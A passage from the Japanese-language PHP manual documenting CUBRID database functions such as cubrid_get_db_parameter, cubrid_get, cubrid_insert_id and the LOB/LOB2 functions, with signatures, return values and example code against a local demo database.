$client_info = cubrid_get_client_info();

printf("%-30s %s\n", "Server Info:", $server_info);
printf("%-30s %s\n", "Client Info:", $client_info);

printf("\n");

$charset = cubrid_get_charset($conn);

printf("%-30s %s\n", "CUBRID Charset:", $charset);

cubrid_disconnect($conn);

?>

上の例の出力は以下となります。

CUBRID PHP Version:            9.1.0.0001

PARAM_ISOLATION_LEVEL          3
LOCK_TIMEOUT                   -1
MAX_STRING_LENGTH              1073741823
PARAM_AUTO_COMMIT              1

Server Info:                   9.1.0.0212
Client Info:                   9.1.0

CUBRID Charset:                iso8859-1

User Contributed Notes

There are no user contributed notes for this page.


Returns the CUBRID database parameters

  • ≪ cubrid_get_client_info
  • cubrid_get_query_timeout ≫
  • PHP Manual
  • CUBRID 関数
  • Returns the CUBRID database parameters

cubrid_get_db_parameter

(PECL CUBRID >= 8.3.0)

cubrid_get_db_parameter — Returns the CUBRID database parameters

説明

cubrid_get_db_parameter ( resource $conn_identifier ) : array

This function returns the CUBRID database parameters or it returns FALSE on failure. It returns an associative array with the values for the following parameters:

  • PARAM_ISOLATION_LEVEL
  • PARAM_LOCK_TIMEOUT
  • PARAM_MAX_STRING_LENGTH
  • PARAM_AUTO_COMMIT

Database parameters
Parameter | Description
PARAM_ISOLATION_LEVEL | The transaction isolation level.
LOCK_TIMEOUT | CUBRID provides the lock timeout feature, which sets the waiting time (in seconds) for the lock until the transaction lock setting is allowed. The default value of the lock_timeout_in_secs parameter is -1, which means the application client will wait indefinitely until the transaction lock is allowed.
PARAM_AUTO_COMMIT | In CUBRID PHP, auto-commit mode is disabled by default for transaction management. It can be set by using cubrid_set_autocommit().

The following table shows the isolation levels from 1 to 6. It consists of table schema (row) and isolation level:

Levels of Isolation Supported by CUBRID
Name | Description
SERIALIZABLE (6) | In this isolation level, problems concerning concurrency (e.g. dirty read, non-repeatable read, phantom read, etc.) do not occur.
REPEATABLE READ CLASS with REPEATABLE READ INSTANCES (5) | Another transaction T2 cannot update the schema of table A while transaction T1 is viewing table A. Transaction T1 may experience phantom read for the record R that was inserted by another transaction T2 when it is repeatedly retrieving a specific record.
REPEATABLE READ CLASS with READ COMMITTED INSTANCES (or CURSOR STABILITY) (4) | Another transaction T2 cannot update the schema of table A while transaction T1 is viewing table A. Transaction T1 may experience R read (non-repeatable read) that was updated and committed by another transaction T2 when it is repeatedly retrieving the record R.
REPEATABLE READ CLASS with READ UNCOMMITTED INSTANCES (3) | Default isolation level. Another transaction T2 cannot update the schema of table A while transaction T1 is viewing table A. Transaction T1 may experience R' read (dirty read) for the record that was updated but not committed by another transaction T2.
READ COMMITTED CLASS with READ COMMITTED INSTANCES (2) | Transaction T1 may experience A' read (non-repeatable read) for the table that was updated and committed by another transaction T2 while it is viewing table A repeatedly. Transaction T1 may experience R' read (non-repeatable read) for the record that was updated and committed by another transaction T2 while it is retrieving the record R repeatedly.
READ COMMITTED CLASS with READ UNCOMMITTED INSTANCES (1) | Transaction T1 may experience A' read (non-repeatable read) for the table that was updated and committed by another transaction T2 while it is repeatedly viewing table A. Transaction T1 may experience R' read (dirty read) for the record that was updated but not committed by another transaction T2.

パラメータ

conn_identifier

The CUBRID connection. If the connection identifier is not specified, the last link opened by cubrid_connect() is assumed.

返り値

An associative array with CUBRID database parameters; on success.

false on failure.

変更履歴

バージョン | 説明
8.4.0 | Change LOCK_TIMEOUT to PARAM_LOCK_TIMEOUT, and MAX_STRING_LENGTH to PARAM_MAX_STRING_LENGTH in result.

例

例1 cubrid_get_db_parameter() example

<?php
printf("%-30s %s\n", "CUBRID PHP Version:", cubrid_version());

printf("\n");

$conn = cubrid_connect("localhost", 33088, "demodb");

if (!$conn) {
    die('Connect Error ('. cubrid_error_code() .')' . cubrid_error_msg());
}

$db_params = cubrid_get_db_parameter($conn);

while (list($param_name, $param_value) = each($db_params)) {
    printf("%-30s %s\n", $param_name, $param_value);
}

printf("\n");

$server_info = cubrid_get_server_info($conn);
$client_info = cubrid_get_client_info();

printf("%-30s %s\n", "Server Info:", $server_info);
printf("%-30s %s\n", "Client Info:", $client_info);

printf("\n");

$charset = cubrid_get_charset($conn);

printf("%-30s %s\n", "CUBRID Charset:", $charset);

cubrid_disconnect($conn);

?>

上の例の出力は以下となります。

CUBRID PHP Version:            9.1.0.0001

PARAM_ISOLATION_LEVEL          3
LOCK_TIMEOUT                   -1
MAX_STRING_LENGTH              1073741823
PARAM_AUTO_COMMIT              1

Server Info:                   9.1.0.0212
Client Info:                   9.1.0

CUBRID Charset:                iso8859-1

参考

  • cubrid_set_db_parameter() - Sets the CUBRID database parameters
  • cubrid_get_autocommit() - Get auto-commit mode of the connection

User Contributed Notes

There are no user contributed notes for this page.


Get the query timeout value of the request

  • ≪ cubrid_get_db_parameter
  • cubrid_get_server_info ≫
  • PHP Manual
  • CUBRID 関数
  • Get the query timeout value of the request

cubrid_get_query_timeout

(PECL CUBRID >= 8.4.1)

cubrid_get_query_timeout — Get the query timeout value of the request

説明

cubrid_get_query_timeout ( resource $req_identifier ) : int

The cubrid_get_query_timeout() function is used to get the query timeout of the request.

パラメータ

req_identifier

Request identifier.

返り値

Success: the query timeout value of the current request. Units of msec.

Failure: FALSE

例

例1 cubrid_get_query_timeout() example

<?php

$host = "localhost";
$port = 33000;
$db = "demodb";

$conn =
cubrid_connect_with_url("CUBRID:$host:$port:$db:::?login_timeout=50000&query_timeout=5000&disconnect_on_query_timeout=yes");

$req = cubrid_prepare($conn, "SELECT * FROM code");

$timeout = cubrid_get_query_timeout($req);
var_dump($timeout);

cubrid_set_query_timeout($req, 1000);
$timeout = cubrid_get_query_timeout($req);
var_dump($timeout);

cubrid_close($conn);
?>

上の例の出力は以下となります。

int(5000)
int(1000)

参考

  • cubrid_set_query_timeout() - Set the timeout time of query execution

User Contributed Notes

There are no user contributed notes for this page.


Return the CUBRID server version

  • ≪ cubrid_get_query_timeout
  • cubrid_get ≫
  • PHP Manual
  • CUBRID 関数
  • Return the CUBRID server version

cubrid_get_server_info

(PECL CUBRID >= 8.3.0)

cubrid_get_server_info — Return the CUBRID server version

説明

cubrid_get_server_info ( resource $conn_identifier ) : string

This function returns a string that represents the CUBRID server version.

パラメータ

conn_identifier

The CUBRID connection.

返り値

A string that represents the CUBRID server version; on success.

false on failure.

例

例1 cubrid_get_server_info() example

<?php
printf("%-30s %s\n", "CUBRID PHP Version:", cubrid_version());

printf("\n");

$conn = cubrid_connect("localhost", 33088, "demodb");

if (!$conn) {
    die('Connect Error ('. cubrid_error_code() .')' . cubrid_error_msg());
}

$db_params = cubrid_get_db_parameter($conn);

while (list($param_name, $param_value) = each($db_params)) {
    printf("%-30s %s\n", $param_name, $param_value);
}

printf("\n");

$server_info = cubrid_get_server_info($conn);
$client_info = cubrid_get_client_info();

printf("%-30s %s\n", "Server Info:", $server_info);
printf("%-30s %s\n", "Client Info:", $client_info);

printf("\n");

$charset = cubrid_get_charset($conn);

printf("%-30s %s\n", "CUBRID Charset:", $charset);

cubrid_disconnect($conn);

?>

上の例の出力は以下となります。

CUBRID PHP Version:            9.1.0.0001

PARAM_ISOLATION_LEVEL          3
LOCK_TIMEOUT                   -1
MAX_STRING_LENGTH              1073741823
PARAM_AUTO_COMMIT              1

Server Info:                   9.1.0.0212
Client Info:                   9.1.0

CUBRID Charset:                iso8859-1

User Contributed Notes

There are no user contributed notes for this page.


Get a column using OID

  • ≪ cubrid_get_server_info
  • cubrid_insert_id ≫
  • PHP Manual
  • CUBRID 関数
  • Get a column using OID

cubrid_get

(PECL CUBRID >= 8.3.0)

cubrid_get — Get a column using OID

説明

cubrid_get ( resource $conn_identifier , string $oid , mixed $attr = ? ) : mixed

The cubrid_get() function is used to get the attribute of the instance of the given oid. You can get single attribute by using string data type for the attr argument, or many attributes by using array data type for the attr argument.

パラメータ

conn_identifier

Connection identifier.

oid

OID of the instance that you want to read.

attr

Name of the attribute that you want to read.

返り値

Content of the requested attribute, when process is successful; When attr is set with string data type, the result is returned as a string; when attr is set with array data type (0-based numerical array), then the result is returned in associative array. When attr is omitted, then all attributes are received in array form.

false when process is unsuccessful or result is NULL (If error occurs to distinguish empty string from NULL, then it prints the warning message. You can check the error by using cubrid_error_code())

例

例1 cubrid_get() example

<?php
$conn = cubrid_connect("localhost", 33000, "demodb");

@cubrid_execute($conn, "DROP TABLE foo");
cubrid_execute($conn, "CREATE TABLE foo(a int AUTO_INCREMENT, b set(int), c list(int), d char(10))");
cubrid_execute($conn, "INSERT INTO foo(a, b, c, d) VALUES(1, {1,2,3}, {11,22,33,333}, 'a')");
cubrid_execute($conn, "INSERT INTO foo(a, b, c, d) VALUES(2, {4,5,7}, {44,55,66,666}, 'b')");

$req = cubrid_execute($conn, "SELECT * FROM foo", CUBRID_INCLUDE_OID);

cubrid_move_cursor($req, 1, CUBRID_CURSOR_FIRST);
$oid = cubrid_current_oid($req);

$attr = cubrid_get($conn, $oid, "b");
var_dump($attr);

$attr = cubrid_get($conn, $oid);
var_dump($attr);

cubrid_close_request($req);
cubrid_disconnect($conn);
?>

上の例の出力は以下となります。

string(9) "{1, 2, 3}"
array(4) {
  ["a"]=>
  string(1) "1"
  ["b"]=>
  array(3) {
    [0]=>
    string(1) "1"
    [1]=>
    string(1) "2"
    [2]=>
    string(1) "3"
  }
  ["c"]=>
  array(4) {
    [0]=>
    string(2) "11"
    [1]=>
    string(2) "22"
    [2]=>
    string(2) "33"
    [3]=>
    string(3) "333"
  }
  ["d"]=>
  string(10) "a         "
}

参考

  • cubrid_put() - Update a column using OID

User Contributed Notes

There are no user contributed notes for this page.


Return the ID generated for the last updated AUTO_INCREMENT column

  • ≪ cubrid_get
  • cubrid_is_instance ≫
  • PHP Manual
  • CUBRID 関数
  • Return the ID generated for the last updated AUTO_INCREMENT column

cubrid_insert_id

(PECL CUBRID >= 8.3.0)

cubrid_insert_id — Return the ID generated for the last updated AUTO_INCREMENT column

説明

cubrid_insert_id ( resource $conn_identifier = ? ) : string

The cubrid_insert_id() function retrieves the ID generated for the AUTO_INCREMENT column which is updated by the previous INSERT query. It returns 0 if the previous query does not generate new rows, or FALSE on failure.

注意:

CUBRID supports AUTO_INCREMENT for more than one columns in a table. In most cases, there will be a single AUTO_INCREMENT column in a table. If there are multiple AUTO_INCREMENT columns, this function should not be used even if it will return a value.

パラメータ

conn_identifier

The connection identifier previously obtained by a call to cubrid_connect().

返り値

A string representing the ID generated for an AUTO_INCREMENT column by the previous query, on success.

0, if the previous query does not generate new rows.

false on failure.

変更履歴

バージョン | 説明
8.4.0 | Change the return value from an array to string; Remove the first parameter class_name.

例

例1 cubrid_insert_id() example

<?php
$conn = cubrid_connect("localhost", 33000, "demodb");

@cubrid_execute($conn, "DROP TABLE cubrid_test");
cubrid_execute($conn, "CREATE TABLE cubrid_test (d int AUTO_INCREMENT(1, 2), t varchar)");

for ($i = 0; $i < 10; $i++) {
    cubrid_execute($conn, "INSERT INTO cubrid_test(t) VALUES('cubrid_test')");
}

$id = cubrid_insert_id();
var_dump($id);

cubrid_disconnect($conn);
?>

上の例の出力は以下となります。

string(2) "19"

User Contributed Notes

There are no user contributed notes for this page.


Check whether the instance pointed by OID exists

  • ≪ cubrid_insert_id
  • cubrid_lob_close ≫
  • PHP Manual
  • CUBRID 関数
  • Check whether the instance pointed by OID exists

cubrid_is_instance

(PECL CUBRID >= 8.3.0)

cubrid_is_instance — Check whether the instance pointed by OID exists

説明

cubrid_is_instance ( resource $conn_identifier , string $oid ) : int

The cubrid_is_instance() function is used to check whether the instance pointed by the given oid exists or not.

パラメータ

conn_identifier

Connection identifier.

oid

OID of the instance that you want to check the existence.

返り値

1, if such instance exists;

0, if such instance does not exist;

-1, in case of error

例

例1 cubrid_is_instance() example

<?php
$conn = cubrid_connect("localhost", 33000, "demodb");

$sql = <<<EOD
SELECT host_year, medal, game_date
FROM game
WHERE athlete_code IN
    (SELECT code FROM athlete WHERE name='Thorpe Ian');
EOD;

$req = cubrid_execute($conn, $sql, CUBRID_INCLUDE_OID);
$oid = cubrid_current_oid($req);

$res = cubrid_is_instance ($conn, $oid);
if ($res == 1) {
    echo "Instance pointed by $oid exists.\n";
} else if ($res == 0){
    echo "Instance pointed by $oid doesn't exist.\n";
} else {
    echo "error\n";
}

cubrid_disconnect($conn);
?>

上の例の出力は以下となります。

Instance pointed by @0|0|0 doesn't exist.

参考

  • cubrid_drop() - Delete an instance using OID
  • cubrid_get_class_name() - Get the class name using OID

User Contributed Notes

There are no user contributed notes for this page.


Close BLOB/CLOB data

  • ≪ cubrid_is_instance
  • cubrid_lob_export ≫
  • PHP Manual
  • CUBRID 関数
  • Close BLOB/CLOB data

cubrid_lob_close

(PECL CUBRID >= 8.3.1)

cubrid_lob_close — Close BLOB/CLOB data

説明

cubrid_lob_close ( array $lob_identifier_array ) : bool

cubrid_lob_close() is used to close all BLOB/CLOB returned from cubrid_lob_get().

パラメータ

lob_identifier_array

LOB identifier array return from cubrid_lob_get.

返り値

true, when process is successful.

false, when process is unsuccessful.

例

例1 cubrid_lob_close() example

<?php
$conn = cubrid_connect ("localhost", 33000, "demodb", "dba");

cubrid_execute($conn,"DROP TABLE if exists doc");
cubrid_execute($conn,"CREATE TABLE doc (id INT, doc_content CLOB)");
cubrid_execute($conn,"INSERT INTO doc VALUES (5,'hello,cubrid')");

$lobs = cubrid_lob_get($conn, "SELECT doc_content FROM doc WHERE id=5");
echo "Doc size: ".cubrid_lob_size($lobs[0])." bytes";
cubrid_lob_export($conn, $lobs[0], "doc_5.txt");
cubrid_lob_close($lobs);
cubrid_disconnect($conn);
?>

参考

  • cubrid_lob_get() - Get BLOB/CLOB data
  • cubrid_lob_size() - Get BLOB/CLOB data size
  • cubrid_lob_export() - Export BLOB/CLOB data to file
  • cubrid_lob_send() - Read BLOB/CLOB data and send straight to browser

User Contributed Notes

There are no user contributed notes for this page.


Export BLOB/CLOB data to file

  • ≪ cubrid_lob_close
  • cubrid_lob_get ≫
  • PHP Manual
  • CUBRID 関数
  • Export BLOB/CLOB data to file

cubrid_lob_export

(PECL CUBRID >= 8.3.1)

cubrid_lob_export — Export BLOB/CLOB data to file

説明

cubrid_lob_export ( resource $conn_identifier , resource $lob_identifier , string $path_name ) : bool

cubrid_lob_export() is used to get BLOB/CLOB data from CUBRID database, and saves its contents to a file. To use this function, you must use cubrid_lob_get() first to get BLOB/CLOB info from CUBRID.

パラメータ

conn_identifier

Connection identifier.

lob_identifier

LOB identifier.

path_name

Path name of the file.

返り値

true, when process is successful.

false, when process is unsuccessful.

例

例1 cubrid_lob_export() example

<?php
$conn = cubrid_connect ("localhost", 33000, "demodb", "dba");

cubrid_execute($conn,"DROP TABLE if exists doc");
cubrid_execute($conn,"CREATE TABLE doc (id INT, doc_content CLOB)");
cubrid_execute($conn,"INSERT INTO doc VALUES (5,'hello,cubrid')");

$lobs = cubrid_lob_get($conn, "SELECT doc_content FROM doc WHERE id=5");
echo "Doc size: ".cubrid_lob_size($lobs[0])." bytes";
cubrid_lob_export($conn, $lobs[0], "doc_5.txt");
cubrid_lob_close($lobs);
cubrid_disconnect($conn);
?>

参考

  • cubrid_lob_get() - Get BLOB/CLOB data
  • cubrid_lob_close() - Close BLOB/CLOB data
  • cubrid_lob_size() - Get BLOB/CLOB data size
  • cubrid_lob_send() - Read BLOB/CLOB data and send straight to browser

User Contributed Notes

There are no user contributed notes for this page.


Get BLOB/CLOB data

  • ≪ cubrid_lob_export
  • cubrid_lob_send ≫
  • PHP Manual
  • CUBRID 関数
  • Get BLOB/CLOB data

cubrid_lob_get

(PECL CUBRID >= 8.3.1)

cubrid_lob_get — Get BLOB/CLOB data

説明

cubrid_lob_get ( resource $conn_identifier , string $sql ) : array

cubrid_lob_get() is used to get BLOB/CLOB meta info from CUBRID database, CUBRID gets BLOB/CLOB by executing the SQL statement, and returns all LOBs as a resource array. Be sure that the SQL retrieves only one column and its data type is BLOB or CLOB.

Remember to use cubrid_lob_close() to release the LOBs if you don't need it any more.

パラメータ

conn_identifier

Connection identifier.

sql

SQL statement to be executed.

返り値

Return an array of LOB resources, when process is successful.

false, when process is unsuccessful.

例

例1 cubrid_lob_get() example

<?php
$conn = cubrid_connect ("localhost", 33000, "demodb", "dba");

cubrid_execute($conn,"DROP TABLE if exists doc");
cubrid_execute($conn,"CREATE TABLE doc (id INT, doc_content CLOB)");
cubrid_execute($conn,"INSERT INTO doc VALUES (5,'hello,cubrid')");

$lobs = cubrid_lob_get($conn, "SELECT doc_content FROM doc WHERE id=5");
echo "Doc size: ".cubrid_lob_size($lobs[0])." bytes";
cubrid_lob_export($conn, $lobs[0], "doc_5.txt");
cubrid_lob_close($lobs);
cubrid_disconnect($conn);
?>

参考

  • cubrid_lob_close() - Close BLOB/CLOB data
  • cubrid_lob_size() - Get BLOB/CLOB data size
  • cubrid_lob_export() - Export BLOB/CLOB data to file
  • cubrid_lob_send() - Read BLOB/CLOB data and send straight to browser

User Contributed Notes

There are no user contributed notes for this page.


Read BLOB/CLOB data and send straight to browser

  • ≪ cubrid_lob_get
  • cubrid_lob_size ≫
  • PHP Manual
  • CUBRID 関数
  • Read BLOB/CLOB data and send straight to browser

cubrid_lob_send

(PECL CUBRID >= 8.3.1)

cubrid_lob_send — Read BLOB/CLOB data and send straight to browser

説明

cubrid_lob_send ( resource $conn_identifier , resource $lob_identifier ) : bool

cubrid_lob_send() reads BLOB/CLOB data and passes it straight through to the browser. To use this function, you must use cubrid_lob_get() first to get BLOB/CLOB info from CUBRID.

パラメータ

conn_identifier

Connection identifier.

lob_identifier

LOB identifier.

返り値

true, when process is successful.

false, when process is unsuccessful.

例

例1 cubrid_lob_send() example

<?php
$conn = cubrid_connect ("localhost", 33000, "demodb", "dba");

cubrid_execute($conn,"DROP TABLE if exists doc");
cubrid_execute($conn,"CREATE TABLE doc (id INT, doc_content CLOB)");
cubrid_execute($conn,"INSERT INTO doc VALUES (5,'hello,cubrid')");

$lobs = cubrid_lob_get($conn, "SELECT doc_content FROM doc WHERE id=5");

cubrid_lob_send($conn, $lobs[0]);
cubrid_lob_close($lobs);
cubrid_disconnect($conn);
?>

参考

  • cubrid_lob_get() - Get BLOB/CLOB data
  • cubrid_lob_close() - Close BLOB/CLOB data
  • cubrid_lob_size() - Get BLOB/CLOB data size
  • cubrid_lob_export() - Export BLOB/CLOB data to file

User Contributed Notes

There are no user contributed notes for this page.


Get BLOB/CLOB data size

  • ≪ cubrid_lob_send
  • cubrid_lob2_bind ≫
  • PHP Manual
  • CUBRID 関数
  • Get BLOB/CLOB data size

cubrid_lob_size

(PECL CUBRID >= 8.3.1)

cubrid_lob_size — Get BLOB/CLOB data size

説明

cubrid_lob_size ( resource $lob_identifier ) : string

cubrid_lob_size() is used to get BLOB/CLOB data size.

パラメータ

lob_identifier

LOB identifier.

返り値

A string representing LOB data size, when process is successful.

false, when process is unsuccessful.

変更履歴

バージョン | 説明
8.4.0 | Change return value type from int to string.

例

例1 cubrid_lob_size() example

<?php
$lobs = cubrid_lob_get($con, "SELECT doc_content FROM doc WHERE doc_id=5");
echo "Doc size:".cubrid_lob_size($lobs[0]);
cubrid_lob_export($conn, $lobs[0], "doc_5.txt");
cubrid_lob_close($lobs);
?>

参考

  • cubrid_lob_get() - Get BLOB/CLOB data
  • cubrid_lob_close() - Close BLOB/CLOB data
  • cubrid_lob_export() - Export BLOB/CLOB data to file
  • cubrid_lob_send() - Read BLOB/CLOB data and send straight to browser

User Contributed Notes

There are no user contributed notes for this page.


Bind a lob object or a string as a lob object to a prepared statement as parameters

  • ≪ cubrid_lob_size
  • cubrid_lob2_close ≫
  • PHP Manual
  • CUBRID 関数
  • Bind a lob object or a string as a lob object to a prepared statement as parameters

cubrid_lob2_bind

(PECL CUBRID >= 8.4.1)

cubrid_lob2_bind — Bind a lob object or a string as a lob object to a prepared statement as parameters

説明

cubrid_lob2_bind ( resource $req_identifier , int $bind_index , mixed $bind_value , string $bind_value_type = ? ) : bool

The cubrid_lob2_bind() function is used to bind BLOB/CLOB datas to a corresponding question mark placeholder in the SQL statement that was passed to cubrid_prepare(). If bind_value_type is not given, string will be "BLOB" as the default. But if you use cubrid_lob2_new() before, bind_value_type will be consistent with type in cubrid_lob2_new() as the default.

パラメータ

req_identifier

Request identifier as a result of cubrid_prepare().

bind_index

Location of binding parameters. It starts with 1.

bind_value

Actual value for binding.

bind_value_type

It must be "BLOB" or "CLOB" and it won't be case-sensitive. If it not be given, the default value is "BLOB".

返り値

true, when process is successful.

false, when process is unsuccessful.

例

例1 cubrid_lob2_bind() example

<?php
// Table: test_lob (id INT, contents CLOB)

$conn = cubrid_connect("localhost", 33000, "demodb", "dba", "");

cubrid_execute($conn,"DROP TABLE if exists test_lob");
cubrid_execute($conn,"CREATE TABLE test_lob (id INT, contents CLOB)");

$req = cubrid_prepare($conn, "INSERT INTO test_lob VALUES (?, ?)");

cubrid_bind($req,1, 3);

$lob = cubrid_lob2_new($conn, 'CLOB');
cubrid_lob2_bind($req, 2, $lob);

cubrid_execute($req);

cubrid_bind($req, 1, 4);

cubrid_lob2_bind($req, 2, 'CUBRID LOB2 TEST', 'CLOB');

cubrid_execute($req);

cubrid_disconnect($conn);
?>

参考

  • cubrid_lob2_new() - Create a lob object
  • cubrid_lob2_close() - Close LOB object

User Contributed Notes

There are no user contributed notes for this page.


Close LOB object

  • ≪ cubrid_lob2_bind
  • cubrid_lob2_export ≫
  • PHP Manual
  • CUBRID 関数
  • Close LOB object

cubrid_lob2_close

(PECL CUBRID >= 8.4.1)

cubrid_lob2_close — Close LOB object

説明

cubrid_lob2_close ( resource $lob_identifier ) : bool

The cubrid_lob2_close() function is used to close LOB object returned from cubrid_lob2_new() or got from the result set.

パラメータ

lob_identifier

Lob identifier as a result of cubrid_lob2_new() or get from the result set.

返り値

true, on success.

false, on failure.

参考

  • cubrid_lob2_new() - Create a lob object

User Contributed Notes

There are no user contributed notes for this page.


Export the lob object to a file

  • ≪ cubrid_lob2_close
  • cubrid_lob2_import ≫
  • PHP Manual
  • CUBRID 関数
  • Export the lob object to a file

cubrid_lob2_export

(PECL CUBRID >= 8.4.1)

cubrid_lob2_export — Export the lob object to a file

説明

cubrid_lob2_export ( resource $lob_identifier , string $file_name ) : bool

The cubrid_lob2_export() function is used to save the contents of BLOB/CLOB data to a file. To use this function, you must use cubrid_lob2_new() or fetch a lob object from CUBRID database first. If the file already exists, the operation will fail. This function will not influence the cursor position of the lob object. It operates the entire lob object.

パラメータ

lob_identifier

Lob identifier as a result of cubrid_lob2_new() or get from the result set.

filename

File name you want to store BLOB/CLOB data. It also supports the path of the file.

返り値

true if the process is successful and false for failure.

例

例1 cubrid_lob2_export() example

<?php
// Table: test_lob (id INT, contents CLOB)

$conn = cubrid_connect("localhost", 33000, "demodb", "dba", "");

cubrid_execute($conn,"DROP TABLE if exists doc");
cubrid_execute($conn,"CREATE TABLE doc (id INT, doc_content CLOB)");
cubrid_execute($conn,"INSERT INTO doc VALUES (5,'hello,cubrid')");

$req = cubrid_prepare($conn, "select * from doc");

cubrid_execute($req);

cubrid_move_cursor($req, 1, CUBRID_CURSOR_FIRST);

$row = cubrid_fetch($req, CUBRID_NUM | CUBRID_LOB);

cubrid_lob2_export($row[1], "doc_3.txt");

cubrid_lob2_close($row[1]);
cubrid_disconnect($conn);
?>

参考

  • cubrid_lob2_new() - Create a lob object
  • cubrid_lob2_close() - Close LOB object
  • cubrid_lob2_import() - Import BLOB/CLOB data from a file
  • cubrid_lob2_bind() - Bind a lob object or a string as a lob object to a prepared statement as parameters

User Contributed Notes

There are no user contributed notes for this page.


Import BLOB/CLOB data from a file

  • ≪ cubrid_lob2_export
  • cubrid_lob2_new ≫
  • PHP Manual
  • CUBRID 関数
  • Import BLOB/CLOB data from a file

cubrid_lob2_import

(PECL CUBRID >= 8.4.1)

cubrid_lob2_import — Import BLOB/CLOB data from a file

説明

cubrid_lob2_import ( resource $lob_identifier , string $file_name ) : bool

The cubrid_lob2_import() function is used to save the contents of BLOB/CLOB data from a file. To use this function, you must use cubrid_lob2_new() or fetch a lob object from CUBRID database first. If the file already exists, the operation will fail. This function will not influence the cursor position of the lob object. It operates the entire lob object.

パラメータ

lob_identifier

Lob identifier as a result of cubrid_lob2_new() or get from the result set.

filename

File name you want to import BLOB/CLOB data. It also supports the path of the file.

返り値

true if the process is successful and false for failure.

例

例1 cubrid_lob2_export() example

<?php

$conn = cubrid_connect("localhost", 33000, "demodb", "dba", "");

cubrid_execute($conn,"DROP TABLE if exists test_lob");
cubrid_execute($conn,"CREATE TABLE test_lob (id INT, contents CLOB)");

$req = cubrid_prepare($conn, "INSERT INTO test_lob VALUES (?, ?)");
cubrid_bind($req, 1, 1);

$lob = cubrid_lob2_new($conn, "clob");
cubrid_lob2_import($lob, "doc_1.txt");
cubrid_lob2_bind($req, 2, $lob, 'CLOB'); // or cubrid_lob2_bind($req, 2, $lob);

cubrid_execute($req);

cubrid_lob2_close($lob);
cubrid_disconnect($conn);
?>

参考

  • cubrid_lob2_new() - Create a lob object
  • cubrid_lob2_close() - Close LOB object
  • cubrid_lob2_export() - Export the lob object to a file
  • cubrid_lob2_bind() - Bind a lob object or a string as a lob object to a prepared statement as parameters

User Contributed Notes

There are no user contributed notes for this page.


Create a lob object

  • ≪ cubrid_lob2_import
  • cubrid_lob2_read ≫
  • PHP Manual
  • CUBRID 関数
  • Create a lob object

cubrid_lob2_new

(PECL CUBRID >= 8.4.1)

cubrid_lob2_new — Create a lob object

説明

cubrid_lob2_new ( resource $conn_identifier = ? , string $type = "BLOB" ) : resource

The cubrid_lob2_new() function is used to create a lob object (both BLOB and CLOB). This function should be used before you bind a lob object.

パラメータ

conn_identifier

Connection identifier. If the connection identifier is not specified, the last connection opened by cubrid_connect() or cubrid_connect_with_url() is assumed.

type

It may be "BLOB" or "CLOB", it won't be case-sensitive. The default value is "BLOB".

返り値

Lob identifier when it is successful.

false on failure.

参考

  • cubrid_lob2_close() - Close LOB object

User Contributed Notes

There are no user contributed notes for this page.


Read from BLOB/CLOB data

  • ≪ cubrid_lob2_new
  • cubrid_lob2_seek64 ≫
  • PHP Manual
  • CUBRID 関数
  • Read from BLOB/CLOB data

cubrid_lob2_read

(PECL CUBRID >= 8.4.1)

cubrid_lob2_read — Read from BLOB/CLOB data

説明

cubrid_lob2_read ( resource $lob_identifier , int $len ) : string

The cubrid_lob2_read() function reads len bytes from the LOB data and returns the bytes read.

パラメータ

lob_identifier

Lob identifier as a result of cubrid_lob2_new() or get from the result set.

len

Length from buffer you want to read from the lob data.

返り値

Returns the contents as a string.

false when there is no more data.

NULL on failure.

例

例1 cubrid_lob2_read() example 1

<?php
// test_lob (id INT, contents CLOB)

$conn = cubrid_connect("localhost", 33000, "demodb", "public", "");

$req = cubrid_execute($conn, "select * from test_lob");

$row = cubrid_fetch_row($req, CUBRID_LOB);

print "position now is " . cubrid_lob2_tell($row[1]) . "\n";

cubrid_lob2_seek($row[1], 10, CUBRID_CURSOR_FIRST);

print "\nposition after moving farword is " . cubrid_lob2_tell($row[1]) . "\n";

$data = cubrid_lob2_read($row[1], 12);

print "\nposition after reading is " . cubrid_lob2_tell($row[1]) . "\n";

print $data . "\n";

cubrid_lob2_seek($row[1], 5, CUBRID_CURSOR_CURRENT);

print "\nposition after moving again is " . cubrid_lob2_tell($row[1]) . "\n";

$data = cubrid_lob2_read($row[1], 20);
print $data . "\n";

cubrid_disconnect($conn);
?>

例2 cubrid_lob2_read() example 2

<?php
// test_lob (id INT, contents CLOB)

$conn = cubrid_connect("localhost", 33000, "demodb", "dba", "");

$req = cubrid_execute($conn, "select * from test_lob");

$row = cubrid_fetch_row($req, CUBRID_LOB);

while (true) {
    if ($data = cubrid_lob2_read($row[1], 1024)) {
        print $data . "\n";
    }
    elseif ($data === false) {
        print "There is no more data\n";
        break;
    }
    else {
        print "There must some errors\n";
        break;
    }
}

cubrid_disconnect($conn);
?>

参考

  • cubrid_lob2_write() - Write to a lob object
  • cubrid_lob2_seek() - Move the cursor of a lob object
  • cubrid_lob2_seek64() - Move the cursor of a lob object
  • cubrid_lob2_tell() - Tell the cursor position of the LOB object
  • cubrid_lob2_tell64() - Tell the cursor position of the LOB object
  • cubrid_lob2_size() - Get a lob object's size
  • cubrid_lob2_size64() - Get a lob object's size

User Contributed Notes

There are no user contributed notes for this page.


Move the cursor of a lob object

  • ≪ cubrid_lob2_read
  • cubrid_lob2_seek ≫
  • PHP Manual
  • CUBRID 関数
  • Move the cursor of a lob object

cubrid_lob2_seek64

(PECL CUBRID >= 8.4.1)

cubrid_lob2_seek64 — Move the cursor of a lob object

説明

cubrid_lob2_seek64 ( resource $lob_identifier , string $offset , int $origin = CUBRID_CURSOR_CURRENT ) : bool

The cubrid_lob2_seek64() function is used to move the cursor position of a lob object by the value set in the offset argument, to the direction set in the origin argument. If the offset you want to move is larger than an integer data can be stored, you can use this function.

To set the origin argument, you can use CUBRID_CURSOR_FIRST to set the cursor position moving forward offset units from the first beginning. In this case, offset must be a positive value.

If you use CUBRID_CURSOR_CURRENT for origin, you can move forward or backward. and offset can be positive or negative.

If you use CUBRID_CURSOR_LAST for origin, you can move backward offset units from the end of LOB object and offset only can be positive.

注意:

If you use this function to move the cursor position of the lob object, you should pass offset as a string.

パラメータ

lob_identifier

Lob identifier as a result of cubrid_lob2_new() or get from the result set.

offset

Number of units you want to move the cursor.

origin

This parameter can be the following values:

CUBRID_CURSOR_FIRST: move forward from the first beginning.

CUBRID_CURSOR_CURRENT: move forward or backward from the current position.

CUBRID_CURSOR_LAST: move backward at the end of LOB object.

返り値

true if the process is successful and false for failure.

例

例1 cubrid_lob2_seek64() example

<?php
// test_lob (id INT, contents CLOB)
// Data length of doc_1.txt should be greater than 20101029056306120215.

